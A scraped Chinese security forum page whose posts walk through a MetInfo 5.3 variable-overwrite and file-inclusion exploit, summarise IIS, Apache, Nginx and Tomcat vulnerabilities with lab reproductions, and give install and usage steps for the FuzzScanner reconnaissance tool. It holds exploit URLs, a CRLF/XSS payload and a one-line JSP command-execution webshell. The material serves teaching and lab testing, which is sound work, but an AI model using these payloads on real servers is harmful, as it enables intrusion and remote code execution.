$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
print_r(urlencode(authcode($_POST['str'],'ENCOUDE',$_POST['key'],0)));
19.png

 
0x03变量覆盖漏洞
漏洞详情简介
变量覆盖漏洞大多数由函数使用不当导致,经常引发变量覆盖漏洞的函数有:extract(),parse_str()和import_request_variables() $$使用不当
影响版本 :5.3.
代码分析
1. metinfo\include\common.inc.php
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
$_M['form'][$_key] = daddslashes($_value,0,0,1);
}
}

这里注意$$request造成变量覆盖 ,代码中使用 $_request 来获取用户信息,代码主要是用于遍历初始化变量,所以很有可能会出现变量覆盖。代码判断了 key 的第一个字符是不是“_”来避免覆盖系统全局变量,此处还使用自定义函数 daddslashes() 对变量值进行处理。 作用是获取参数很方便
在一简单的题中:
使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。请求?id=1 会将id的值覆盖,id的值覆盖,id=1。
<?php
foreach (array('_COOKIE','_POST','_GET') as $_request)
{
foreach ($$_request as $_key=>$_value)
{
$$_key= $_value;
}
}
$id = isset($id) ? $id : 2;
if($id == 1) {
echo "flag{xxxxxxxxxx}";
die();
}
echo $id;
?>

浏览器执行 http://127.0.0.1/test.php?id=1
20.png

2. 代码中查找 daddslashes() 函数
/*POST变量转换*/
function daddslashes($string, $force = 0 ,$sql_injection =0,$url =0){
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
if(is_array($string)){
if($url){
//$string='';
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
}else{
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
}
}

return $string;
}

可以看到,该函数先判断有没有开启magic_quotes_gpc即魔法引号,若没有则调用addslashes()函数对通过POST方法提交的内容进行转义过滤。也就是说,并没有对GET方法提交的内容进行过滤。
好,那里我们确实存在变量覆盖漏洞了,现在我们就需要寻找可以和变量覆盖漏洞配合造成危害的地方了,比如任意文件包含、任意文件读取等等。所以我们现在开始查找包含了这个common.inc.php的文件以及可以造成覆盖变量的利用文件。
 
3. 关于页面
接着来看/about/页面的信息,查看\about\index.php文件,这里存在两个比较可疑的变量、一个是fmodule变量、另一个是module变量,其中还有require_once()函数,可能存在文件包含漏洞:
\about\index.php:
<?php
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
require_once $module;
?>

以上代码中的 $module 变量未赋值
先来输出一下看看 $module 变量的值是什么
<?php
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
echo $module;
require_once $module;
?>

浏览器执行 http://localhost/metinfov5317/MetInfo5.3.1.7/about/index.php
21.png

可以看到 $module 的值是 show.php
浏览器执行http://localhost/metinfov5317/MetInfo5.3.1.7/about/index.php?module=123456
22.png

$module 的值并没有覆盖掉
分析 require_once ‘…/include/module.php’; 发现包含了common.inc.php
也就是说 \about\index.php 文件中的 $fmodule 变量可以通过包含 /include/module.php 包含 common.inc.php 然后接收 $_request 来接受 $_GET 方法传递过来的新的 fmodule 值来导致原 fmodule 变量的值被覆盖,输出尝试一下:
<?php
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
echo $module;
echo $fmodule;
require_once $module;
?>

浏览器执行/about/index.php?module=123&amp;fmodule=test
23.png

4. fmodule变量和module变量之间的关系
因为需要利用到require_once()函数来实现文件包含漏洞的利用,接着找fmodule变量和module变量之间的关系,回到module.php来跟踪module变量,可以看到在最后的判断语句中存在该变量:
$module='';
if($fmodule!=7){
if($mdle==100)$mdle=3;
if($mdle==101)$mdle=5;
$module = $modulefname[$mdle][$mdtp];
if($module==NULL){okinfo('../404.html');exit();}
if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
if($fmodule==$mdle){
$module = $modulefname[$mdle][$mdtp];
}
else{
okinfo('../404.html');exit();
}
}
else{
if($list){
okinfo('../404.html');exit();
}
else{
$module = $modulefname[$mdle][$mdtp];
}
}
if($mdle==8){
if(!$id)$id=$class1;
$module = '../feedback/index.php';
}
}

当fmodule不为7时,不覆盖;fmodule为7时,覆盖:
浏览器执行 http://127.0.0.1/metinfo/about/index.php?module=123&fmodule=7
24.png

$module在about/index.php得到一个初始值,当fmodule不等于7时,满足条件,$module会被修改。当等于7时,module就不会被初始化,而module又是可控的参数到这里也就是说 \about\index.php 文件中的 $fmodule 变量可以通过包含 /include/module.php 包含 common.inc.php 然后接收 $_request 来接受 $_GET 方法传递过来的新的 fmodule 值来导致原 fmodule 变量的值被覆盖
 
漏洞利用
包含上传的小马文件xiaoma.txt
浏览器执行 /about/index.php?fmodule=7&amp;module=../upload/xiaoma.txt
25.png

补充:按照实验流程以及文章给的5.3.17版本实验并没有复现成功
我的疑问主要在
文章说$module在about/index.php得到一个初始值,当fmodule不等于7时,满足条件,$module会被修改。当等于7时,module就不会被初始化,而module又是可控的参数(但当运行到某处时应该变成了空值)
index.php中首先运行module.php
26.png

我所输入的?module=123456 在module.php运行到99行判断f是否为7时又被变成了空值(文章中也有99行的代码并非版本不同)
27.png

而后才在index,php被require_once
28.png

因此运行 /about/index.php?fmodule=7&module=123456 时页面并不会显示module=123456
29.png

若在98行输出才会显示到页面上
30.png


31.png

说明确实变成了空值,,那么运行/about/index.php?fmodule=7&amp;module=../upload/xiaoma.txt应该也不会出现文章中的效果 吧

QQ截图20191206105415.jpg

 
参考文章
https://www.cnblogs.com/Spec/p/10735432.html
https://www.cnblogs.com/-qing-/p/10889467.html
关于变量覆盖
https://blog.csdn.net/Kevinhanser/article/details/81176757
https://www.freebuf.com/column/150731.html
https://blog.csdn.net/Kevinhanser/article/details/81146092

 
 
 
 

 
 

Web中间件常见漏洞总结

WEBzake 发表了文章 • 5 个评论 • 45 次浏览 • 12 小时前 • 来自相关话题

一、 常见web中间件及其漏洞概述
(一) IIS
1、PUT漏洞
2、短文件名猜解
3、远程代码执行
4、解析漏洞
(二) Apache
1、解析漏洞
2、目录遍历
(三) Nginx
1、文件解析
2、目录遍历
3、CRLF注入
4、目录穿越
(四)Tomcat
1、远程代码执行
2、war后门文件部署
 
二、 IIS漏洞分析
(一) IIS简介
IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。最初是Windows NT版本的可选包,随后内置在Windows 2000、Windows XP Professional和Windows Server 2003一起发行,但在Windows XP Home版本上并没有IIS。IIS是一种Web(网页)服务组件,其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器,分别用于网页浏览、文件传输、新闻服务和邮件发送等方面,它使得在网络(包括互联网和局域网)上发布信息成了一件很容易的事。
IIS的安全脆弱性曾长时间被业内诟病,一旦IIS出现远程执行漏洞威胁将会非常严重。远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码,可以导致IIS服务器所在机器蓝屏或读取其内存中的机密数据
(二) PUT漏洞
1、漏洞介绍及成因
IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。
版本: IIS6.0
2、漏洞复现
1) 开启WebDAV 和写权限
 










 
2) 使用工具,选择options方法探测主机所支持的请求方法
 





3)利用工具进行测试
选用PUT方法上传muma.txt文件,里面内容为一句话木马。
 






这个时候可以看到服务器上有了我们刚刚PUT上去的文件
 





如果服务器开放了脚本资源访问的权限   我们就可以用move的方法把webshell.txt变成shell.asp
 





然后我们就可以看到服务器上就多了一个shell.asp
 
然后我们用菜刀进行连接查看
 





(二)短文件名猜解
1、漏洞介绍及成因
IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400。
2、漏洞复现
1)、在网站根目录下添加aaaaaaaaaa.html文件
 





3) 进行猜解
漏洞的利用,需要使用到通配符*。在windows中,*可以匹配n个字符,n可以为0. 判断某站点是否存在IIS短文件名暴力破解,构造payload
 





(三) 解析漏洞
     漏洞介绍及成因
IIS 6.0 在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞。这一漏洞有两种完全不同的利用方式:
    /test.asp/test.jpg
    test.asp;.jpg
利用方式 
第一种是新建一个名为 “test.asp” 的目录,该目录中的任何文件都被 IIS 当作 asp 程序执行(特殊符号是 “/” )。

第二种是上传名为 “test.asp;.jpg” 的文件,虽然该文件真正的后缀名是 “.jpg”, 但由于含有特殊符号 “;” ,仍会被 IIS 当做 asp 程序执行。
 
IIS7.5 文件解析漏洞
    test.jpg/.php
如果URL 中文件后缀是 .php ,便无论该文件是否存在,都直接交给 php 处理,而 php 又默认开启 “cgi.fix_pathinfo”, 会对文件进行 “ 修理 ” ,所谓 " 修理 ",举个例子,当 php 遇到路径 “/aaa.xxx/bbb.yyy” 时,若 “/aaa.xxx/bbb.yyy” 不存在,则会去掉最后的 “bbb.yyy” ,然后判断 “/aaa.xxx” 是否存在,若存在,则把 “/aaa.xxx” 当作文件。
若有文件 test.jpg ,访问时在其后加 /.php ,便可以把 “test.jpg/.php” 交给 php , php 修理文件路径 “test.jpg/.php” 得到 ”test.jpg” ,该文件存在,便把该文件作为 php 程序执行了。
 
三、 Apache漏洞分析
(一) Apache简介
Apache 是世界使用排名第一的Web 服务器软件。它可以运行在几乎所有广泛使用的 计算机平台上,由于其 跨平台 和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将 Perl/ Python等 解释器编译到服务器中。

(二) 解析漏洞
1、 漏洞介绍及成因
Apache文件解析漏洞严格来说属于用户配置问题;涉及到Apache解析文件的一个特性:
Apache默认一个文件可以有多个以点分隔的后缀,当右边的后缀无法识别(不在mime.tyoes内),则继续向左识别,当我们请求这样一个文件:shell.xxx.yyy
yyy->无法识别,向左
xxx->无法识别,向左
php->发现后缀是php,就会交给php处理这个文件,从而造成解析漏洞。

(三) 目录遍历
1、 漏洞介绍及成因
由于配置错误导致的目录遍历
 
四、 Nginx漏洞分析
(一) Nginx简介
Nginx 是一款 轻量级的 Web 服务器、 反向代理 服务器及 电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行。其特点是占有内存少, 并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好

(二)文件解析
      漏洞介绍及成因
对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加test.jpg/x.php进行解析攻击。

(三)目录遍历
      漏洞简介及成因
Nginx的目录遍历与Apache一样,属于配置方面的问题,错误的配置可到导致目录遍历与源码泄露。

(四) CRLF注入
1、 漏洞简介及成因
CRLF时“回车+换行”(\r\n)的简称。
HTTP Header与HTTP Body时用两个CRLF分隔的,浏览器根据两个CRLF来取出HTTP内容并显示出来。
通过控制HTTP消息头中的字符,注入一些恶意的换行,就能注入一些会话cookie或者html代码,由于Nginx配置不正确,导致注入的代码会被执行。
2、 漏洞复现
#版本:nginx 1.9.9
访问页面,抓包
请求加上/%0d%0a%0d%0a<img src=1 οnerrοr=alert(/xss/)>
 





(五) 目录穿越
1、 漏洞简介及成因
Nginx反向代理,静态文件存储在/home/下,而访问时需要在url中输入files,配置文件中/files没有用/闭合,导致可以穿越至上层目录。
2、 漏洞复现
#版本:nginx 1.9.9
修改nginx.conf,在如下图位置添加如下配置






访问:http://192.168.27.128:8089/files/
 





访问:http://192.168.27.128:8089/files../
成功实现目录穿越:
 





五、 Tomcat漏洞分析
(一) Tomcat简介
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用 服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应 HTML ( 标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。
(二) 远程代码执行
1、 漏洞简介及成因
Tomcat 运行在Windows 主机上,且启用了 HTTP PUT 请求方法,可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行。
影响版本: Apache Tomcat 7.0 – 7.0.81
2、 漏洞复现
#版本tomcat7.0
(搭建环境时不要用jdk1.8,用1.6(我用的)或者1.7;因为网上好多说tomcat7.0支持jdk1.8(tomcat7早期版本不支持),我在这里吃了亏,浪费了好多时间)
配置漏洞,开启put方法可上传文件功能。
tomcat文件夹下的/conf/web.xml文件插入:
   <init-param>
           <param-name>readonly</param-name>
           <param-value>false</param-value>
     </init-param>
 





重启tomcat服务。
访问http://192.168.27.145:8080,burp抓包
将请求方式改为PUT,创建一个123.jsp,并用%20转义空格字符。123.jsp内容为 :
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
 





返回201,说明创建成功。
服务器上已经存在文件
 





访问http://192.168.27.145:8080/123.jsp?cmd=calc
弹出计算器:
 





(三)war后门文件部署
1、漏洞简介及成因
Tomcat 支持在后台部署war文件,可以直接将webshell部署到web目录下。
若后台管理页面存在弱口令,则可以通过爆破获取密码。
2、漏洞复现
#版本:tomcat8.0(这个用jdk1.8)
Tomcat安装目录下conf里的tomcat-users.xml配置如下:
 





访问后台,登陆:
 





上传一个war包,里面是jsp后门:
 





我上传的是一句话木马,然后用菜刀连接: 查看全部
一、 常见web中间件及其漏洞概述
(一) IIS
1、PUT漏洞
2、短文件名猜解
3、远程代码执行
4、解析漏洞
(二) Apache
1、解析漏洞
2、目录遍历
(三) Nginx
1、文件解析
2、目录遍历
3、CRLF注入
4、目录穿越
(四)Tomcat
1、远程代码执行
2、war后门文件部署
 
二、 IIS漏洞分析
(一) IIS简介
IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。最初是Windows NT版本的可选包,随后内置在Windows 2000、Windows XP Professional和Windows Server 2003一起发行,但在Windows XP Home版本上并没有IIS。IIS是一种Web(网页)服务组件,其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器,分别用于网页浏览、文件传输、新闻服务和邮件发送等方面,它使得在网络(包括互联网和局域网)上发布信息成了一件很容易的事。
IIS的安全脆弱性曾长时间被业内诟病,一旦IIS出现远程执行漏洞威胁将会非常严重。远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码,可以导致IIS服务器所在机器蓝屏或读取其内存中的机密数据
(二) PUT漏洞
1、漏洞介绍及成因
IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。
版本: IIS6.0
2、漏洞复现
1) 开启WebDAV 和写权限
 
put1.png


put2.png


 
2) 使用工具,选择options方法探测主机所支持的请求方法
 
put3.png


3)利用工具进行测试
选用PUT方法上传muma.txt文件,里面内容为一句话木马。
 
put66.png



这个时候可以看到服务器上有了我们刚刚PUT上去的文件
 
put4.png


如果服务器开放了脚本资源访问的权限   我们就可以用move的方法把webshell.txt变成shell.asp
 
put5.png


然后我们就可以看到服务器上就多了一个shell.asp
 
然后我们用菜刀进行连接查看
 
put6.png


(二)短文件名猜解
1、漏洞介绍及成因
IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400。
2、漏洞复现
1)、在网站根目录下添加aaaaaaaaaa.html文件
 
iis2.1_.png


3) 进行猜解
漏洞的利用,需要使用到通配符*。在windows中,*可以匹配n个字符,n可以为0. 判断某站点是否存在IIS短文件名暴力破解,构造payload
 
iis2.2_.png


(三) 解析漏洞
     漏洞介绍及成因
IIS 6.0 在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞。这一漏洞有两种完全不同的利用方式:
    /test.asp/test.jpg
    test.asp;.jpg
利用方式 
第一种是新建一个名为 “test.asp” 的目录,该目录中的任何文件都被 IIS 当作 asp 程序执行(特殊符号是 “/” )。

第二种是上传名为 “test.asp;.jpg” 的文件,虽然该文件真正的后缀名是 “.jpg”, 但由于含有特殊符号 “;” ,仍会被 IIS 当做 asp 程序执行。
 
IIS7.5 文件解析漏洞
    test.jpg/.php
如果URL 中文件后缀是 .php ,便无论该文件是否存在,都直接交给 php 处理,而 php 又默认开启 “cgi.fix_pathinfo”, 会对文件进行 “ 修理 ” ,所谓 " 修理 ",举个例子,当 php 遇到路径 “/aaa.xxx/bbb.yyy” 时,若 “/aaa.xxx/bbb.yyy” 不存在,则会去掉最后的 “bbb.yyy” ,然后判断 “/aaa.xxx” 是否存在,若存在,则把 “/aaa.xxx” 当作文件。
若有文件 test.jpg ,访问时在其后加 /.php ,便可以把 “test.jpg/.php” 交给 php , php 修理文件路径 “test.jpg/.php” 得到 ”test.jpg” ,该文件存在,便把该文件作为 php 程序执行了。
 
三、 Apache漏洞分析
(一) Apache简介
Apache 是世界使用排名第一的Web 服务器软件。它可以运行在几乎所有广泛使用的 计算机平台上,由于其 跨平台 和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将 Perl/ Python等 解释器编译到服务器中。

(二) 解析漏洞
1、 漏洞介绍及成因
Apache文件解析漏洞严格来说属于用户配置问题;涉及到Apache解析文件的一个特性:
Apache默认一个文件可以有多个以点分隔的后缀,当右边的后缀无法识别(不在mime.tyoes内),则继续向左识别,当我们请求这样一个文件:shell.xxx.yyy
yyy->无法识别,向左
xxx->无法识别,向左
php->发现后缀是php,就会交给php处理这个文件,从而造成解析漏洞。

(三) 目录遍历
1、 漏洞介绍及成因
由于配置错误导致的目录遍历
 
四、 Nginx漏洞分析
(一) Nginx简介
Nginx 是一款 轻量级的 Web 服务器、 反向代理 服务器及 电子邮件(IMAP/POP3)代理服务器,并在一个BSD-like 协议下发行。其特点是占有内存少, 并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好

(二)文件解析
      漏洞介绍及成因
对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加test.jpg/x.php进行解析攻击。

(三)目录遍历
      漏洞简介及成因
Nginx的目录遍历与Apache一样,属于配置方面的问题,错误的配置可到导致目录遍历与源码泄露。

(四) CRLF注入
1、 漏洞简介及成因
CRLF时“回车+换行”(\r\n)的简称。
HTTP Header与HTTP Body时用两个CRLF分隔的,浏览器根据两个CRLF来取出HTTP内容并显示出来。
通过控制HTTP消息头中的字符,注入一些恶意的换行,就能注入一些会话cookie或者html代码,由于Nginx配置不正确,导致注入的代码会被执行。
2、 漏洞复现
#版本:nginx 1.9.9
访问页面,抓包
请求加上/%0d%0a%0d%0a<img src=1 οnerrοr=alert(/xss/)>
 
ng4.1_.png


(五) 目录穿越
1、 漏洞简介及成因
Nginx反向代理,静态文件存储在/home/下,而访问时需要在url中输入files,配置文件中/files没有用/闭合,导致可以穿越至上层目录。
2、 漏洞复现
#版本:nginx 1.9.9
修改nginx.conf,在如下图位置添加如下配置

ng4.4_.png


访问:http://192.168.27.128:8089/files/
 
ng5.1_.png


访问:http://192.168.27.128:8089/files../
成功实现目录穿越:
 
ng5.2_.png


五、 Tomcat漏洞分析
(一) Tomcat简介
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用 服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应 HTML ( 标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。
(二) 远程代码执行
1、 漏洞简介及成因
Tomcat 运行在Windows 主机上,且启用了 HTTP PUT 请求方法,可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行。
影响版本: Apache Tomcat 7.0 – 7.0.81
2、 漏洞复现
#版本tomcat7.0
(搭建环境时不要用jdk1.8,用1.6(我用的)或者1.7;因为网上好多说tomcat7.0支持jdk1.8(tomcat7早期版本不支持),我在这里吃了亏,浪费了好多时间)
配置漏洞,开启put方法可上传文件功能。
tomcat文件夹下的/conf/web.xml文件插入:
   <init-param>
           <param-name>readonly</param-name>
           <param-value>false</param-value>
     </init-param>
 
cat1.1_.png


重启tomcat服务。
访问http://192.168.27.145:8080,burp抓包
将请求方式改为PUT,创建一个123.jsp,并用%20转义空格字符。123.jsp内容为 :
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
 
cat1.2_.png


返回201,说明创建成功。
服务器上已经存在文件
 
cat1.3_.png


访问http://192.168.27.145:8080/123.jsp?cmd=calc
弹出计算器:
 
cat1.4_.png


(三)war后门文件部署
1、漏洞简介及成因
Tomcat 支持在后台部署war文件,可以直接将webshell部署到web目录下。
若后台管理页面存在弱口令,则可以通过爆破获取密码。
2、漏洞复现
#版本:tomcat8.0(这个用jdk1.8)
Tomcat安装目录下conf里的tomcat-users.xml配置如下:
 
cat2.1_.png


访问后台,登陆:
 
cat2.2_.png


上传一个war包,里面是jsp后门:
 
cat2.3_.png


我上传的是一句话木马,然后用菜刀连接:

cat2.4_.png

安服神器 | FuzzScanner的安装及使用教程

Web安全渗透zh_smile 发表了文章 • 1 个评论 • 37 次浏览 • 1 天前 • 来自相关话题

一.工具介绍
一个用来进行信息搜集的工具集,主要是用于对网站子域名、开放端口、端口指纹、c段地址、敏感目录、链接爬取等信息进行批量搜集。
fuzzScanner可用于批量快速的搜集网站信息,比别人更快一步的发现其他端口的应用或者网站管理后台等,也适合src漏洞挖掘的前期信息搜集。
开发初衷比较简单,当时正在参加一些攻防演练,需要快速的对目标网站进行子域名发现、端口扫描、目录扫描等,手头上有一些分散的工具,比如lijiejie的subdomains、子域名挖掘机、dirsearch等等,但当目标任务量比较大时,这些重复性的工作就会比较费时费力,所以就有了这么个集合十八种杀人武器于一身的“超级武器”——fuzzScanner。
二.工具安装
安装环境为linux,windows均可,内部工具wydomain、WhatWeb、subDomainsBrute、dirsearch、wafw00f等工具均已放在libs目录下,默认可直接调用。
1.常规安装(linux下安装,不建议)
从github上面拖下来git clone [url]https://github.com/TideSec/FuzzScanner[/url]




如果你没有安装git,请参考https://www.jianshu.com/p/df607885cfd0
由于该命令时提示无法找到https://github.com/TideSec/FuzzScanner
解决方法:直接输入以下命令git clone git://github.com/TideSec/FuzzScanner
 
 
 
 安装requirements.txt依赖pip install -r requirements.txt该命令必须在刚才克隆的fuzzscanner运行,否则会出现找不到requirements.txt
使用pip命令前提该linux系统必须带有python环境,有时运行pip命令是会出现报错
请参考https://blog.csdn.net/lkgCSDN/article/details/84403329进行配置
 
安装ruby环境,以便运行whatwebsudo yum install ruby # CentOS, Fedora, 或 RHEL 系统
sudo apt-get install ruby-full # Debian 或 Ubuntu 系统
 
安装nampyum install nmap # CentOS, Fedora, 或 RHEL 系统
apt-get install nmap # Debian 或 Ubuntu 系统
运行脚本,因为调用nmap需要root权限,所以需要sudo。sudo python FuzzScanner.py
直到此处安装完成(本人在centos6.5下按照上述方法安装,到最后一步会出现fuzzscanner.py脚本语法错误,去
https://github.com/TideSec/FuzzScanner
发现代码一模一样。一直没找到解决方法,所有不建议选择常规安装)
 
2.使用docker镜像安装(linux,windows均可以)
本人在centos7上安装的docker,安装docker请参考文章https://www.runoob.com/docker/centos-docker-install.html
windows下安装docker请参考https://www.runoob.com/docker/windows-docker-install.html 
备注:(在windows下安装docker必须开启Hyper-V,这个操作会导致VMware无法运行,所有不建议在Windows下安装docker)
安装完成后从阿里云上使用docker命令pull下来docker pull registry.cn-hangzhou.aliyuncs.com/secplus/tide-fuzzscanner:1.0使用docker images查看docker镜像信息docker images



创建docker并进入dockerdocker run --name fuzzscanner -t -i 52341fc71d0a /bin/bash执行fuzzscannercd /root/FuzzScanner/
python FuzzScanner.py 使用方法python FuzzScanner.py -hc target.com --> domain && web finger && Dir scan && C scan
设置单个目标网站,子域名枚举 && web指纹识别 && 目录枚举 && C段扫描

python FuzzScanner.py -Hc vuln_domains.txt --> domain && web finger && Dir scan && C scan
从文件读取单个或多个目标网站,子域名枚举 && web指纹识别 && 目录枚举 && C段扫描

python FuzzScanner.py -hca target.com --> domain && web finger && Dir scan && C scan && C allport
设置单个目标网站,子域名枚举 && web指纹识别 && 目录枚举 && C段全端口扫描

python FuzzScanner.py -Hca vuln_domains.txt --> domain && web finger && Dir scan && C scan && C allport
从文件读取单个或多个目标网站,子域名枚举 && web指纹识别 && 目录枚举 && C段全端口扫描

python FuzzScanner.py -h target.com --> domain && web finger && Dir scan
设置单个目标网站,子域名枚举 && web指纹识别 && 目录枚举

python FuzzScanner.py -H vuln_domains.txt --> domain && web finger && Dir scan
从文件读取单个或多个目标网站,子域名枚举 && web指纹识别 && 目录枚举

python FuzzScanner.py -c 192.168.1.1 --> C scan
设置单个IP,进行C段地址探测

python FuzzScanner.py -cd 192.168.1.1 --> C scan && Dir scan
设置单个IP,进行C段地址探测并对web服务进行目录枚举

python FuzzScanner.py -C vuln_ip.txt --> C scan
从文件读取单个或多个目标IP地址,进行C段地址探测

python FuzzScanner.py -Cd vuln_ip.txt --> C scan && Dir scan
从文件读取单个或多个目标IP地址,进行C段地址探测并对web服务进行目录枚举

python FuzzScanner.py -ca 192.168.1.1 --> C scan && C allport
设置单个IP,进行C段地址探测和全端口扫描

python FuzzScanner.py -Ca vuln_ip.txt --> C scan && C allport
从文件读取单个或多个目标IP地址,进行C段地址探测和全端口扫描
 
上述为第一次运行该脚本命令,关闭后再次启用该docker镜像命令如下[root@localhost ~]# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
registry.cn-hangzhou.aliyuncs.com/secplus/tide-fuzzscanner 1.0 52341fc71d0a 8 months ago 1.36GB
hello-world latest fce289e99eb9 11 months ago 1.84kB



ot@localhost ~]# docker run -i -t 52341fc71d0a /bin/bash
[root@69d9e2dd7b57 /]#



[root@69d9e2dd7b57 /]# cd /root/FuzzScanner/
[root@69d9e2dd7b57 FuzzScanner]#



[root@69d9e2dd7b57 FuzzScanner]# python FuzzScanner.py

python FuzzScanner.py -hc target.com --> domain && web finger && Dir scan && C scan
python FuzzScanner.py -Hc vuln_domains.txt --> domain && web finger && Dir scan && C scan
python FuzzScanner.py -hca target.com --> domain && web finger && Dir scan && C scan && C allport
python FuzzScanner.py -Hca vuln_domains.txt --> domain && web finger && Dir scan && C scan && C allport
python FuzzScanner.py -h target.com --> domain && web finger && Dir scan
python FuzzScanner.py -H vuln_domains.txt --> domain && web finger && Dir scan
python FuzzScanner.py -c 192.168.1.1 --> C scan
python FuzzScanner.py -cd 192.168.1.1 --> C scan && Dir scan
python FuzzScanner.py -C vuln_ip.txt --> C scan
python FuzzScanner.py -Cd vuln_ip.txt --> C scan && Dir scan
python FuzzScanner.py -ca 192.168.1.1 --> C scan && C allport
python FuzzScanner.py -Ca vuln_ip.txt --> C scan && C allport




如果运行docker时出现Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?输入以下命令$ systemctl daemon-reload
$ sudo service docker restart
$ sudo service docker status (should see active (running))
$ sudo docker run hello-world
 
Fuzzscanner主要功能及原理介绍
子域名枚举
当输入目标站点域名后,会使用以下4种方式进行子域名的枚举1、百度链接爬取,会使用site:xxx.com为关键字爬取所有子域名;
2、网站友链爬取,会对自身3层链接目录进行爬取,搜集子域名;
3、本利想对chaxunla、aizhan之类的子域名查询接口进行查询,后来发现猪猪侠的wydomain已经实现了这个功能,就直接调用了wydomain;
4、使用了subdomains进行子域名的暴力枚举 端口扫描
端口扫描和指纹获取主要依赖于nmap1、首先根据参数设置情况判断是全端口扫描还是部分端口扫描;
2、如果扫描目标是网站地址,会根据目标开放的端口进行指纹获取,如果某端口服务为web服务,还会继续进行web指纹的获取;
3、如果扫描目标是ip地址或地址段,会先试用pynamp进行存活主机判断,然后使用socket端口探测的方式探测存活主机,然后再使用nmap进行端口的扫描和指纹的获取。 指纹识别
主要调用了whatweb、wafw00f、whatcms等进行了web指纹的识别1、当扫描web地址或探测到某端口为web服务时,会使用whatweb探测该站点信息,提取关键字段;
2、使用了wafw00f来探测是否存在waf,这样对有waf的不太好啃的站点可以暂时放弃;
3、对web站点进行了目录枚举,可能直接发行管理后台地址或备份文件等。 其他功能
